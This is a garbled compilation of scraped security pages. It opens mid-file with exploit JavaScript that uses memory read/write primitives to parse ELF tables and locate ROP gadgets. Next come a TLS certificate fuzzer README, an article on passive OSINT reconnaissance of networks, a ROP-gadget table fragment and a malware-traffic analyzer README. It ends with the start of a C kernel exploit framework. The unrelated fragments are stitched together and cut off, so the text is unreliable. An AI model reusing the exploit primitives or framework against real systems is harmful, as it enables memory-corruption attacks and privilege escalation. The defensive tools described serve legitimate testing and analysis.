|  this.dynamic = this.addr + this.memobj.read32\(curhdr + 8\);  
|  \}  
|  
|  if \(p\_type == 1\) \{ // PT\_LOAD  
|  var p\_flags = this.memobj.read32\(curhdr + 24\);  
|  if \(p\_flags == 5\) \{ // PF\_X | PF\_R  
|  
|  var p\_vaddr = this.memobj.read32\(curhdr + 8\);  
|  var p\_memsz = this.memobj.read32\(curhdr + 20\);  
|  // INFO\("ELF: found PT\_LOAD \(p\_vaddr = "  
|  // + p\_vaddr.toString\(16\) + " p\_memsz = "  
|  // + p\_memsz.toString\(16\) + "\)"\);  
|  
|  if \(p\_vaddr == 0x0\) \{  
|  this.size = p\_memsz;  
|  \}  
|  \}  
|  \}  
|  
|  if \(this.dynamic \!== null && this.size \!== null\) break;  
|  
|  curhdr += 32;  
|  \}  
|  
|  if \(this.dynamic === null\) \{  
|  ERR\("ELFObject: cannot find phdr DYNAMIC"\);  
|  \}  
|  
|  if \(this.size === null\) \{  
|  ERR\("ELFObject: cannot find phdr LOAD"\);  
|  \}  
|  
|  var curdyn = this.dynamic;  
|  var tagtable = \{  
|  2: 'pltrelsz', // DT\_PLTRELSZ  
|  4: 'hashtab', // DT\_HASH  
|  5: 'strtab', // DT\_STRTAB  
|  6: 'symtab', // DT\_SYMTAB  
|  23: 'jmprel' // DT\_JMPREL  
|  \};  
|  
|  this.dyntable = \{\};  
|  var tag, tagname;  
|  for \(tag in tagtable\) \{  
|  this.dyntable\[tagtable\[tag\]\] = null;  
|  \}  
|  
|  while \(true\) \{  
|  tag = this.memobj.read32\(curdyn\);  
|  
|  if \(tag == 0\) \{ // DT\_NULL  
|  break;  
|  \}  
|  
|  if \(tag in tagtable\) \{  
|  this.dyntable\[tagtable\[tag\]\] = this.memobj.read32\(curdyn + 4\);  
|  \}  
|  
|  curdyn += 8;  
|  
|  var end = true;  
|  for \(tagname in this.dyntable\) \{  
|  if \(this.dyntable\[tagname\] === null\) \{  
|  end = false;  
|  break;  
|  \}  
|  \}  
|  
|  if \(end === false\) \{  
|  continue;  
|  \}  
|  
|  break;  
|  \}  
|  
|  for \(tagname in this.dyntable\) \{  
|  if \(this.dyntable\[tagname\] === null\) \{  
|  ERR\("ELFObject: Couldn't get " + tagname + " from DYNAMIC"\);  
|  \}  
|  \}  
|  
|  this.dyntable\['strtab'\] += this.addr;  
|  this.dyntable\['hashtab'\] += this.addr;  
|  this.dyntable\['symtab'\] += this.addr;  
|  this.dyntable\['jmprel'\] += this.addr;  
|  
|  
|  for \(tagname in this.dyntable\) \{  
|  INFO\(" " + tagname + " = " + this.dyntable\[tagname\].toString\(16\)\);  
|  \}  
| \};  
|  
| ELFObject.prototype.findgadget16 = function\(arr, startoff\) \{  
|  if \(startoff === undefined\) \{  
|  startoff = 0;  
|  \}  
|  return this.memobj.find16\(this.addr + startoff, this.addr + this.size,
arr\);  
| \};  
|  
| ELFObject.prototype.findstring = function\(s, node, startoff\) \{  
|  if \(s === undefined\) \{  
|  ERR\("findstring: a string is required"\);  
|  \}  
|  
|  if \(node === undefined\) \{  
|  ERR\("findstring: a node is required"\);  
|  \}  
|  
|  if \(startoff === undefined\) \{  
|  startoff = 0;  
|  \}  
|  
|  // This assignment is necessary because v8 appears to be caching  
|  // the nodeValue length on some phones \(no idea why or when this happens\)  
|  var random = Math.floor\(\(Math.random\(\) \* 100000\) + 1\);  
|  node.obj.nodeValue = "ELFObject\_findstring\_" + random;  
|  
|  var m\_data = this.memobj.read32\(node.addr + node.dataoffset\);  
|  var oldaddr = this.memobj.read32\(m\_data + 8\);  
|  var oldlen = this.memobj.read32\(m\_data + 4\);  
|  
|  this.memobj.write32\(m\_data + 8, this.addr\);  
|  this.memobj.write32\(m\_data + 4, this.size/2\);  
|  
|  var startindex = startoff/2;  
|  var index = node.obj.nodeValue.indexOf\(s, startindex\);  
|  
|  this.memobj.write32\(m\_data + 8, oldaddr\);  
|  this.memobj.write32\(m\_data + 4, oldlen\);  
|  
|  if \(index == -1\) return null;  
|  return this.addr + index\*2;  
| \};  
|  
| ELFObject.prototype.readgot = function \(\) \{  
|  this.got = \{\};  
|  var max = this.dyntable\['pltrelsz'\] / 8;  
|  if \(ENABLE\_DEBUG\) \{  
|  INFO\(" GOT = " + \(this.addr +
this.memobj.read32\(this.dyntable\['jmprel'\]\)\).toString\(16\)\);  
|  \}  
|  for \(var i = 0; i < max; i++\) \{  
|  var rel = this.memobj.read32\(this.addr +
this.memobj.read32\(this.dyntable\['jmprel'\] + \(8 \* i\)\)\);  
|  var r\_info = this.memobj.read32\(this.dyntable\['jmprel'\] + \(i \* 8\) +
4\);  
|  var index = r\_info >>> 8;  
|  this.got\[index\] = rel;  
|  \}  
|  
| \};  
|  
| ELFObject.prototype.dumpjmprel = function \(\) \{  
|  var table = \[\];  
|  var max = this.dyntable\['pltrelsz'\] / 8;  
|  
|  for \(var i = 0; i < max; i++\) \{  
|  var rel = this.memobj.read32\(this.addr +
this.memobj.read32\(this.dyntable\['jmprel'\] + \(8 \* i\)\)\);  
|  var r\_info = this.memobj.read32\(this.dyntable\['jmprel'\] + \(i \* 8\) +
4\);  
|  var index = r\_info >>> 8;  
|  var name = this.memobj.read32\(this.dyntable\['symtab'\] + \(index \*
16\)\);  
|  name = this.memobj.readstring\(name + this.dyntable\['strtab'\]\);  
|  INFO\(rel.toString\(16\) + " : " + name\);  
|  \}  
| \};  
|  
| // Finds a relocation address by name.  
| // Returns the address on success, null otherwise  
| ELFObject.prototype.findreloc = function\(name\) \{  
|  var index = this.findindex\(name\);  
|  if \(index === null\) return null;  
|  return this.got\[index\];  
| \};  
|  
| ELFObject.prototype\["findreloc"\] = ELFObject.prototype.findreloc;  
|  
| // Finds a symbol value by name.  
| // For imported symbols the value will be 0. Use findreloc instead.  
| ELFObject.prototype.findsymbol = function\(name\) \{  
|  var index = this.findindex\(name\);  
|  if \(index === null\) return null;  
|  return this.memobj.read32\(this.dyntable\['symtab'\] + \(index \* 16\) +
4\) + this.addr;  
| \};  
|  
| ELFObject.prototype.requiresymbol = function\(name\) \{  
|  var sym = this.findsymbol\(name\);  
|  if \(sym === undefined || sym === 0\) \{  
|  ERR\("Cannot find required symbol " + name\);  
|  \}  
|  return sym;  
| \};  
|  
| ELFObject.prototype\["requiresymbol"\] = ELFObject.prototype.requiresymbol;  
|  
| // Finds a symbol index in the symbol table  
| ELFObject.prototype.findindex = function\(name\) \{  
|  if \(this.hashtab === undefined\) \{  
|  this.hashtab = \{\};  
|  this.hashtab.addr = this.dyntable\['hashtab'\];  
|  this.hashtab.nbucket = this.memobj.read32\(this.hashtab.addr\);  
|  this.hashtab.nchain = this.memobj.read32\(this.hashtab.addr + 4\);  
|  this.hashtab.bucket = this.hashtab.addr + 8;  
|  this.hashtab.chain = this.hashtab.addr + 8 + \(4 \* this.hashtab.nbucket\);  
|  \}  
|  
|  var hash = this.hash\(name\);  
|  var index = this.memobj.read32\(this.hashtab.bucket +
\(hash%this.hashtab.nbucket\)\*4\);  
|  var s;  
|  while\(true\) \{  
|  s = this.memobj.read32\(this.dyntable\['symtab'\] + \(index \* 16\)\);  
|  if \(s == 0\) \{  
|  return null;  
|  \}  
|  s = this.memobj.readstring\(s + this.dyntable\['strtab'\]\);  
|  if \(s == name\) \{  
|  return index;  
|  \}  
|  index = this.memobj.read32\(this.hashtab.chain + \(index \* 4\)\);  
|  if \(index == 0\) \{  
|  return null;  
|  \}  
|  \}  
| \};  
|  
| ELFObject.prototype.hash = function\(s\) \{  
|  if \(s === undefined\) \{  
|  ERR\("ELFObject.hash: a string is required"\);  
|  \}  
|  
|  var b32 = function \(n\) \{  
|  return \(\(n>>>0\) & 0xffffffff\)>>>0;  
|  \};  
|  
|  var h = 0;  
|  var g, c;  
|  
|  for \(var i = 0; i < s.length; i++\) \{  
|  h = b32\(b32\(h << 4\) + s.charCodeAt\(i\)\);  
|  g = b32\(h & 0xf0000000\);  
|  if \(g \!== 0\) \{  
|  h = b32\(h ^ b32\(g >>> 24\)\);  
|  \}  
|  h = b32\(h & b32\(g ^ 0xffffffff\)\);  
|  \}  
|  
|  return h;  
| \};

# yymax/x509test · GitHub

**Created:**| _10/6/2014 9:19:56 PM_  
---|---  
**Updated:**| _10/6/2014 9:19:56 PM_  
**Author:**| __  
**Tags:**| _Fuzzer ssl tls_  
  

# x509test

If you have any questions, suggestions, comments, concerns, or interesting
stories, please email x509test@gmail.com.

Description:

x509test is a software written in Python 3 that test the x509 certificate
verification process of the target SSL/TLS client. The inspiration of this
software comes from multiple reports on the insecurity of a SSL/TLS client due
to incorrect verification of x509 certificate chain. This phenomenon is caused
by many factors. One of which is the lack of negative feedback from over-
acceptance of invalid certificates. This software is an attempt to increase
the security of a client-side SSL/TLS software by providing negative feedbacks
to the developers.

Test Procedure:

  1. The software takes in a user-supplied fqdn, where the fqdn is the destination of the client connection
  2. The software reads the certificate and key of the root CA. If no root CA is specified, the software generate a self-signed certificate that acts as the root CA. \(NOTE: the root certificate must be trusted by the client software; either by including it to the OS’s trust store or manually configure the client software to trust the certificate.\)
  3. The software generates a set of test certificates. Some are signed directly by the root CA while others are chained with other intermediate CAs. The majority of the test certificates contain flaws.
  4. The software starts a SSL/TLS server and waits for a client to connect. Each session corresponds to a single test certificate chain. If the client completes the handshake procedure with an invalid certificate chain, or terminates the handshake procedure with a valid certificate chain, then the software will denote such behavior as a potential violation. Regardless of the outcome, the software always terminates the connection once result is obtained and starts a new session with a different test certificate chain. \(NOTE: some ports require root privilege, so it is recommended to run this software in root.\)
  5. Results will be printed to the terminal, or a file if specified, as the test progresses. There are only three possible results from a given test. Pass means no non-compliance behavior is observed; fail means non-compliance behavior encountered; unsupported means the underlying system in which x509test is running on does not support the particular test.

Dependencies:

Python 3.2  
pyOpenSSL 0.14  
pyasn1 0.1.7  
pyasn1\_modules 0.0.5  
OpenSSL 1.0.1

Installation:

Currently, no installation procedure is needed. After all dependencies are
installed, simply go to the X509Test folder and run x509test.py using python
interpreter to start the program.

Example Run:

All following examples use www.tls.test as the fqdn, which means it is
pretending to be the server of the \(fake\) site www.tls.test.

All following examples assume Linux-based OS. Windows users should run the
command prompt as administrator \(equivalent of sudo\) and specify the path to
your python3.exe executable file \(equivalent of python3\).

All following examples assume the current working directory is X509Test \(the
downloaded folder that contains x509test.py and other items.\)

Please make sure that no other service is using the same port that you are
about to use.

  1. A server listens on port 443 with an IPv4 address of 10.1.2.3:  
sudo python3 x509test.py www.tls.test -a 10.1.2.3 -p 443

  2. A server listens on port 8080 with a loop back address, and rebuild all test cases:  
sudo python3 x509test.py www.tls.test -r -p 8080

  3. List all available test cases \(fqdn can be any string\):  
python3 x509test.py fqdn -l

  4. Run functionality test only:  
sudo python3 x509test.py www.tls.test -c func

  5. Run both functionality and certificate tests with SSL3:  
sudo python3 x509test.py www.tls.test -c full --ssl SSLv3

  6. The root certificate is encrypted with password 'secret':  
sudo python3 x509test.py www.tls.test \--ca-password secret

  7. Print the current version and license of the software \(fqdn can be any string\):  
python3 x509test.py fqdn --version

More options can be found by using --help:  
python3 x509test.py fqdn --help

Why use x509test:

  1. Security is hard
  2. x509test is easy to use
  3. x509test is open-source
  4. x509test is free

Thank you for using x509test.

# Quietly Mapping the Network Attack Surface

**Created:**| _5/6/2015 3:54:57 PM_  
---|---  
**Updated:**| _5/6/2015 3:54:57 PM_  
**Author:**| __  
**Tags:**| _Footprinting network-security_  
  

# Passively Mapping the Network Attack Surface

Using open source intelligence \(OSINT\) techniques and tools it is possible
to map an organizations Internet facing networks and services without actually
sending any packets \(or just a few standard requests\) to the target network.

Open source intelligence \(OSINT\) is defined as deriving intelligence from
publicly available resources.

Looking at this another way an attacker can do a comprehensive analysis and
mapping of **your network infrastructure** and technologies **without actually
sending you any packets** , and therefore without you having any knowledge
that this reconnaissance has taken place.

Consider the following graphic; you will notice that as the analysis is
progressed, newly discovered items \(IP address / host names / net blocks\)
can open up new areas to explore \(and attack\).

<img src='img/Temp2_6627.png' />

Identifying all known hosts for an organization allows us to continue to dig
deeper for more systems and hosts to target. By examining all discovered IP
address blocks \(ASN\) we can find other hosts within the net block of
interest. Identifying related domains will lead to the discovery of more
hosts.

Think of a single web server; the actual open services \(`ssh`, `http`,
`rdp`\) are all points of attack; discovering all the virtual hosts running on
the server is also important as web applications running on any of the virtual
hosts are also an attack vector.

In this overview the focus is the gathering of information specifically
related to the organizations **network footprint and services**. Open source
intelligence from social networks, email addresses, search engines and
document meta data is often used for the purpose of developing a social
engineering attack.

## Basic DNS queries

Most domains will have a web site, mail server and dns servers associated with
it. These will be our initial point of reference when discovering the attack
surface. We can use DNS lookup tools and `whois` to find where the web \(`A
records`\), mail \(`MX records`\) and DNS \(`NS records`\) services are being
hosted.

[code]

    hackertarget.com.	3600	IN	A	178.79.163.23
    hackertarget.com.	3600	IN	AAAA	2a01:7e00::f03c:91ff:fe70:d437
    hackertarget.com.	3600	IN	MX	10 aspmx.l.google.com.
    hackertarget.com.	3600	IN	MX	20 alt1.aspmx.l.google.com.
    hackertarget.com.	3600	IN	MX	20 alt2.aspmx.l.google.com.
    hackertarget.com.	3600	IN	MX	30 aspmx2.googlemail.com.
    hackertarget.com.	3600	IN	NS	ns51.domaincontrol.com.
    hackertarget.com.	3600	IN	NS	ns52.domaincontrol.com.
[/code]

## Initial Host discovery \(Google, Bing and Netcraft\)

A simple search for all host names related to the target domain is also a good
starting point. Using search engines such as Google \(`site:example.com`\) and
Bing \(`site:example.com`\) can reveal sub-domains and web hosts that may be
of interest.

When searching with Google if there are a large number of results you can
remove the known domains with the following query.

`site:example.com -site:www.example.com`

**Google Hacking** is a well documented technique that involves getting Google
to reveal technical information that is of interest to an attacker. The Google
hacking database is the best place to get started if you are not familiar with
this technique.

Another handy tool is the netcraft host search. Enter the domain as your
search term \(be sure to include the . before your domain name to only get
sub-domains of your target domain. You can see the Netcraft search provides a
quick overview of known web hosts for the domain and the net blocks that they
are hosted in. Another interesting piece of information is the historical
data, Netcraft have been collecting this data for a long time.

## Finding more hosts through data mining DNS records

**Passive DNS reconnaissance** allows discovery of DNS host records without
actively querying the target DNS servers. If DNS monitoring is in place active
dns recon could be detected by the target. Techniques that can be classed as
active DNS recon include brute forcing common sub-domains of the target or
attempting DNS zone transfers \(query type=AXFR\).

There are many on line resources for passive DNS analysis and searching,
rather than sticking to regular DNS lookups we can perform large scale
searches using DNS data sets. One such resource is that provided by
`scans.io`.

### the scans.io data

Scans.io and Project Sonar gather Internet wide scan data and make it
available to researchers and the security community. This data includes port
scans and a dump of all the DNS records that they can find.

Using the DNS records dump you can search through over 80GB of DNS data for
all entries that match your target domain. If you do not wish to go through
the trouble of downloading and extracting such a large chunk of data you can
use our free tools to get started with your network reconnaissance.

## Name Servers \(type=NS\)

The location of the DNS servers may be internal to the organization network or
as is often the case they be a hosted service. This can be often be determined
by simply looking up the net block owner \(ASN\) of the IP address of the DNS
server.

When looking at DNS servers we can not only review the Host \(A\) records that
point to the IP address of the DNS server but also do a reverse search across
DNS data for all hosts that use the same DNS server. In a hosted situation
this may not be as valuable but if its an internal company DNS server we will
quickly identify all related domains for the organization \(that are at least
using this DNS infrastructure\).

[code]

    targetdomain.com
    targetdomain.co.uk
    targetdomain.net
    forgotten-footy-tipping-site-with-no-security-controls.com
    vpn.targetdomain.com
    webmail.targetdomain.com
[/code]

## SPF Records \(type=TXT\)

Sender Policy Framework is configured through the `TXT` DNS record. If
configured this will contain all servers \(or networks\) that are allowed to
send email from the domain. This can often reveal IP addresses \(and net
blocks\) of the organization that you may not have been aware of.

[code]

    hackertarget.com.	3600	IN	TXT	"v=spf1 include:_spf.google.com ip4:178.79.163.23 ip4:66.228.44.129 ip4:173.255.225.101 ip4:66.175.214.247 ip6:2a01:7e00::f03c:91ff:fe70:d437 ip6:2600:3c03::f03c:91ff:fe6e:d558 include:_spf.google.com ~all"
[/code]

## Reverse DNS across IP blocks of Interest

Once you have a list of all IP addresses and ASN's of interest you can attempt
to find more active hosts within those net blocks that the organizations owns
or has assets within. A good way of finding more hosts is to perform a reverse
DNS search across the full net blocks of interest.

[code]

    178.79.x.22 host4.example.com
    178.79.x.23 targetdomain.com
    178.79.x.24 forgotten-unpatched-dev-host.targetdomain.com
    178.79.x.25 host6.example.com
[/code]

## Finding Web Servers

When it comes to mapping a network the web servers of an organization open up
a wide attack surface. They also contain a wealth of information, not just
published but insights into the technologies in use, operating systems and
even how well managed the information technology resources of the organization
are.

To map the **attack surface of a web server** it is important to consider the
available network services, the virtual hosts \(websites\) and the web
applications in use.

Identifying all virtual web hosts on the web server is an important part of
the information gathering process. Different web sites on the same web server
will often be managed using different content management systems and web
applications. A vulnerability in any of these web applications could allow
code execution on the web server.

To identify the virtual web hosts on a particular IP Address there are a
number of well known web based tools such as Bing and Robtex. An IP address
search using the `ip:1.1.1.1` search term on the Bing search engine will
reveal all web sites that Bing has in its index that point to that same IP
address. Experience shows this is a good starting place but like the Bing
search engine in general, can contain stale entries and limited results.

As previously mentioned `scans.io` regularly compiles all the DNS data it can
publicly find, we can use this data to identify the web server hosts \(A
records\). By searching for an IP address in all the known DNS records, we can
find all the hosts that resolve to that IP. This is the method we use for the
Reverse IP Address Search tool we created and also parts of the
dnsdumpster.com project.

## Other Network Services

In any vulnerability assessment it is essential to identify all listening
services. A web server will of course usually have a web server \(port 80\),
an ftp server will have an FTP service \(port 21\) and a mail server will be
listening for mail \(smtp on 25, pop3 on 110, imap on 143 and more\).

It is important to discover all the listening services in order to determine
if they are vulnerable to exploitation or authentication attacks.

Traditionally these services would be identified using Port Scans with tools
such as the Nmap Port Scanner. Of course using a port scanner is **no longer a
passive** undertaking, as using a tool such as Nmap involves sending packets
to the target systems.

### shodan.io search engine

To passively find open services and the banners for the open services we can
use the shodan.io search engine. From the banners of services such as web
servers, mail and ftp we are able to identify the version of the server
software running the service and often the operating system of the server. All
without sending any packets to the target organization.

<img src='img/Temp2_6628.png' />

## Becoming the attacker and the Next Steps

Putting yourself in the shoes of an attacker and attempting to map out an
organizations Internet facing systems is a great way to develop an
understanding of the attack surface of a network. Start by finding all the
public IP addresses of known hosts for a domain, expand this to include net
blocks of interest that are hosting these services. Now try to find all
virtual host names that are hosted on the IP addresses and from this you can
map out the web applications in use.

From this initial passive analysis it may be possible to identify vulnerable
or possibly vulnerable points in the network, this can inform your next steps
and where to focus your attack or vulnerability assessment.

Moving on from passive analysis the next steps to consider are active
information gathering such as DNS zone transfers or sub-domain brute forcing.
Followed by active network scanning such as Nmap Port Scans and vulnerability
scanning.

Ultimately the next steps will be determined by your scope and purpose for the
performing the analysis.

Share this Post

### Try our Hosted Vulnerability Scanners

Open Source Tools you can Trust  
7 day money back guarantee  
Get started in 3 minutes

start here

# FREE Online ROP Gadgets Search

**Created:**| _4/7/2011 4:55:55 PM_  
---|---  
**Updated:**| _4/7/2011 4:55:55 PM_  
**Author:**| __  
**Tags:**| _web awesome rop_  
  
msvcr71.dll| 86f1895ae8c5e8b17d99ece768a70732| PE| i386| 0x7c341000| 7487| 5  
---|---|---|---|---|---|---  
dyld| d165d55c0916410f2ca896381cbc3ebc| MACHO| x86\_64| 0x7fff5fc00000| 3574|
5  
ole32.dll| 7a6a7900b5e322763430ba6fd9a31224| PE| i386| 0x774e1000| 23329| 4  
kernel32.dll| b921fb870c9ac0d509b2ccabbbbe95f3| PE| i386| 0x7c801000| 10511| 5  
explorer.exe| 12896823fb95bfb3dc9b46bcaedc9923| PE| i386| 0x1001000| 11537| 5  
commpage64| 2a8ee7addb69b806d8708937f7db032e| RAW| x86\_64| 0x7fffffe00000|
321| 8  
libc-2.11.1.so| 98942eeccb2320432870a42004e2f049| ELF| x86\_64| 0x1e8c0| 8778|
3  
JavaScrimpd| 6063ad0c8271898d6c5e3e83701211f6| ELF| i386| 0x8048fa0| 148| 8  
karma200| 433d48a42a777dce0019d1b34b15f564| ELF| i386| 0x8048370| 96| 8  
karma500| 1813aba4c370f686bc3c74b6b5ee3654| ELF| i38

# tomchop/malcom · GitHub

**Created:**| _8/31/2013 10:28:59 AM_  
---|---  
**Updated:**| _8/31/2013 10:28:59 AM_  
**Author:**| __  
**Tags:**| _packet-analysis Malware-analysis prototyping_  
  

# Malcom - Malware Communication Analyzer****

Malcom is a tool designed to analyze a system's network communication using
graphical representations of network traffic**.** This comes handy when
analyzing how certain malware species try to communicate with the outside
world**.**

Malcom can help you:

  * detect central command and control \(C&C\) servers
  * understand peer-to-peer networks
  * observe DNS fast-flux infrastructures
  * quickly determine if a network artifact is 'known-bad'

The aim of Malcom is to make malware analysis and intel gathering _faster_ by
providing a human-readable version of network traffic originating from a given
host or network**.** Convert network traffic information to actionable
intelligence faster**.**

Check the wiki  for a Quickstart and some nice screenshots**.**

In the near future, it will also become a collaborative tool \(coming
soon**\!**\)

##  Quick how-to****

  * Install
  * Elevate your privileges to root \(yeah, I know, see disclaimer\)
  * Start the webserver with `python malcom**.** py` \*\* Default port is 8080 \*\* If you want to change ports and stuff, just edit malcom**.** py directly

##  Installation****

Malcom is written in python**.** Provided you have the necessary libraries,
you should be able to run it on any platform**.**

The following was tested on Ubuntu server 12**.** 04 LTS:

  * Install `git`, `python` and `libevent` libs, and `mongodb`
[code]     apt-get install git python-dev libevent-dev mongodb

    
[/code]

  * Get `virtualenv` and `scapy`
[code]     wget
https://pypi.python.org/packages/source/v/virtualenv/virtualenv-1**.**
9.tar**.** gz

    wget http://www.secdev.org/projects/scapy/files/scapy-latest.tar**.** gz
    tar xvzf virtualenv-1**.** 9.tar.gz
    tar xvzf scapy-latest.tar.gz
    
[/code]

  * Clone the Git repo
[code]     git clone https://github.com/tomchop/malcom.git malcom

    
[/code]

  * Create your virtualenv and activate it
[code]     cd malcom

    python ../virtualenv-1**.** 9/virtualenv.py env-malcom
    source env-malcom/bin/activate
    
[/code]

  * Install scapy, without elevating your privs to root
[code]     cd ~/scapy-2**.** 1.0

    python setup.py install
    
[/code]

  * still from your virtualenv, install necessary python packages
[code]     pip install flask pymongo pygeoip gevent-websocket python-dateutil
netifaces

    
[/code]

  * If you're planning on using feeds, you might want to install libxml:
[code]     apt-get install libxml2-dev libxslt-dev

    pip install lxml
    
[/code]

Launch the webserver using `python malcom**.** py`. Check `python malcom.py
--help` for listen interface and ports.

###  Environment****

Malcom was designed and tested on a Ubuntu Server 12**.** 04 LTS VM.

If you're used to doing malware analysis, you probably already have tons of
virtual machines running on a host OS**.** Just install Malcom on a new VM,
and route your other VM's connections through Malcom**.** Use
`enable_routing.sh` to activate routing / NATing on the VM Malcom is running
on**.** You'll need to add an extra network card to the guest OS**.**

As long as it's getting layer-3 network data, Malcom can be deployed
anywhere**.** Although it's not recommended to use it on high-availability
networks \(it wasn't designed to be fast, see disclaimer\), you can have it
running at the end of your switch's mirror port or on your gateway**.**

###  Feeds \(experimental****\)

For now, feeds have to be ran manually**.** Source your virtualenv, and then
launch a python shell \(i**.** e. type `python`\)

[code]

        from analytics import Analytics
        from feeds.zeustracker import ZeusTrackerBinaries
        a = Analytics()
        z = ZeusTrackerBinaries(a)
        parsed = z.get_info()
        z.analytics()
    
[/code]

Your database should be populated with the feed**.** If you can dig into the
code, adding feeds is pretty straightforward \(assuming you're generating
`Evil` objects\)**.** You can find an example feed in
`/feeds/zeustracker`**.**

##  Technical specs****

Malcom was written mostly from scratch, in Python**.** It uses the following
frameworks to work:

  * flask  \- a lightweight python web framework
  * mongodb  \- a NoSQL database**.** It interfaces to python with pymongo 
  * d3js  \- a JavaScript library that produces awesome force-directed graphs \(https://github.com/mbostock/d3/wiki/Gallery \)
  * bootstrap  \- a CSS framework that will eventually kill webdesign, but makes it extremely easy to quickly produce webapps without having to focus on the HTML and CSS

##  Roadmap****

My todo list is a text file on my desktop, its items are written in three
different languages and I don't really think anyone else than me could
understand the acronyms.

**Collaboration** \- The **main** direction I want this tool to take is to
become collaborative**.** I have a few ideas for this, and I think it will
become 100x more useful once data sharing is implemented**.**

**Extendability** \- The other thing I want to include in the tool is the
ability to more easily extend it**.** I don't have the same needs as everyone
else, and this tool was conceived having my needs in mind**.**

Once collaboration and extension are up and running, I think this will be
helpful for more than one incident responder out there**.** :-\)

##  Disclaimer****

This tool was coded during my free time**.** Like a huge number of tools we
download and use daily, I wouldn't recommend to use it on a production
environment where data stability is a MUST**.**

  * It may be broken, have security gaps \(running as root is probably not a good idea\), or not work at all**.**
  * It's written in python, so don't expect it to be ultra-fast or handle huge amounts of data easily**.**
  * I'm no coder, so don't expect to see beautiful pythonic code everywhere you look**.** Or lots of comments.

It's version 0**.** 1, meaning "it works for me". You're free to share it,
improve it, ask for pull requests**.**

##  License****

Malcom - Malware communications analyzer Copyright \(C\) 2013 Thomas Chopitea

This program is free software: you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free Software
Foundation, either version 3 of the License, or \(at your option\) any later
version**.**

This program is distributed in the hope that it will be useful, but WITHOUT
ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
FOR A PARTICULAR PURPOSE**.** See the GNU General Public License for more
details**.**

You should have received a copy of the GNU General Public License along with
this program**.** If not, see http://www.gnu.org/licenses/ **.**

Please note that Maximind and Bootstrap \(and other third party libraries
included in Malcom\) have their own GPL compatible licences**.**

****

# LOL

**Created:**| _10/13/2009 8:42:31 PM_  
---|---  
**Updated:**| _10/13/2009 8:42:49 PM_  
**Author:**| __  
**Tags:**| _Exploit LOLZ_  
  
/\* exploit lib \*/

  

\#include <asm/unistd.h>

\#include <signal.h>

\#include <stdbool.h>

\#include <stddef.h>

\#include <stdint.h>

\#include <stdio.h>

\#include <stdlib.h>

\#include <string.h>

\#include <sys/file.h>

\#include <sys/mman.h>

\#include <sys/socket.h>

\#include <sys/types.h>

\#include <sys/user.h>

\#include <sys/personality.h>

\#include <time.h>

\#include <unistd.h>

\#include <fnmatch.h>

\#include <dirent.h>

\#include <dlfcn.h>

\#include "exp\_framework.h"

\#ifdef HAVE\_SELINUX

\#include <selinux/selinux.h>

\#include <selinux/context.h>

\#endif

  

typedef int \(\*\_prepare\_for\_exploit\)\(unsigned char \*buf\);

typedef int \(\*\_trigger\_the\_bug\)\(void\);

typedef int \(\*\_post\_exploit\)\(void\);

typedef int \(\*\_get\_exploit\_state\_ptr\)\(struct exploit\_state
\*exp\_state\);

  

\#define MAX\_EXPLOITS 32

  

struct exploit\_module \{

char desc\[512\];

\_get\_exploit\_state\_ptr get\_exploit\_state\_ptr;

\_prepare\_for\_exploit prep;

\_trigger\_the\_bug trigger;

\_post\_exploit post;

\} modules\[MAX\_EXPLOITS\];

int num\_exploits = 0;

  

char \*thoughts\[\] = \{

"The limits of my language are the limits of my mind. All I know is what I
have words for. --Wittgenstein",

"A clock struck noon; Lucien rose. The metamorphosis was complete: " \

"a graceful, uncertain adolescent had entered this cafe one hour " \

"earlier; now a man left, a leader among Frenchmen. Lucien took a few " \

"steps in the glorious light of a French morning. At the corner of " \

"Rue des Ecoles and the Boulevard Saint-Michel he went towards a "\

"stationery shop and looked at himself in the mirror: he would have " \

"liked to find on his own face the impenetrable look he admired on " \

"Lemordant's. But the mirror only reflected a pretty, headstrong " \

"little face that was not yet terrible. \"I'll grow a moustache,\"" \

"he decided. --Sartre",

"The whole problem with the world is that fools and fanatics are always " \

"so full of themselves, but wiser people so full of doubts. --Russell",

"Mathematics, rightly viewed, posses not only truth, but supreme " \

"beauty cold and austere, like that of sculpture. --Russell",

"The person who writes for fools is always sure of a large audience.
--Schopenhauer",

"With people of limited ability modesty is merely honesty. But " \

"with those who possess real talent it is hypocrisy. --Schopenhauer",

"Seek not the favor of the multitude; it is seldom got by honest and lawful
means. " \

"But seek the testimony of few; and number not voices, but weigh them.
--Kant",

"At this moment, when each of us must fit an arrow to his bow and " \

"enter the lists anew, to reconquer, within history and in spite of it, " \

"that which he owns already, the thin yield of his fields, the brief " \

"love of the earth, at this moment when at last a man is born, it is " \

"time to forsake our age and its adolescent furies. The bow bends; " \

"the wood complains. At the moment of supreme tension, there will " \

"leap into flight an unswerving arrow, a shaft that is inflexible and " \

"free. --Camus",

"We forfeit three-quarters of ourselves in order to be like other people.
--Schopenhauer",

"Style is what gives value and currency to thoughts. --Schopenhauer",

"Every truth passes through three stages before it is recognized. In " \

"the first it is ridiculed, in the second it is opposed, in the third " \

"it is regarded as self evident. --Schopenhauer",

"Before the Law stands a doorkeeper. To this doorkeeper there comes a " \

"man from the country who begs for admittance to the Law. But the doorkeeper "
\

"says that he cannot admit the man at the moment. The man, on reflection, asks
" \

"if he will be allowed, then, to enter later. 'It is possible,' answers " \

"the doorkeeper, 'but not at this moment.' Since the door leading into the Law
" \

"stands open as usual and the doorkeeper steps to one side, the man bends " \

"down to peer through the entrance. When the doorkeeper sees that, he laughs "
\

"and says: 'If you are so strongly tempted, try to get in without my " \

"permission. But note that I am powerful. And I am only the lowest " \

"doorkeeper. From hall to hall, keepers stand at every door, one more powerful
" \

"than the other. And the sight of the third man is already more than even I "
\

"can stand.' These are difficulties which the man from the country has not " \

"expected to meet, the Law, he thinks, should be accessible to every man " \

"and at all times, but when he looks more closely at the doorkeeper in his " \

"furred robe, with his huge, pointed nose and long, thin, Tartar beard, " \

"he decides that he had better wait until he gets permission to enter. " \

"The doorkeeper gives him a stool and lets him sit down at the side of " \

"the door. There he sits waiting for days and years. He makes many " \

"attempts to be allowed in and wearies the doorkeeper with his importunity. "
\

"The doorkeeper often engages him in brief conversation, asking him about " \

"his home and about other matters, but the questions are put quite
impersonally, " \

"as great men put questions, and always conclude with the statement that the
man " \

"cannot be allowed to enter yet. The man, who has equipped himself with many "
\

"things for his journey, parts with all he has, however valuable, in the hope
" \

"of bribing the doorkeeper. The doorkeeper accepts it all, saying, however, "
\

"as he takes each gift: 'I take this only to keep you from feeling that you "
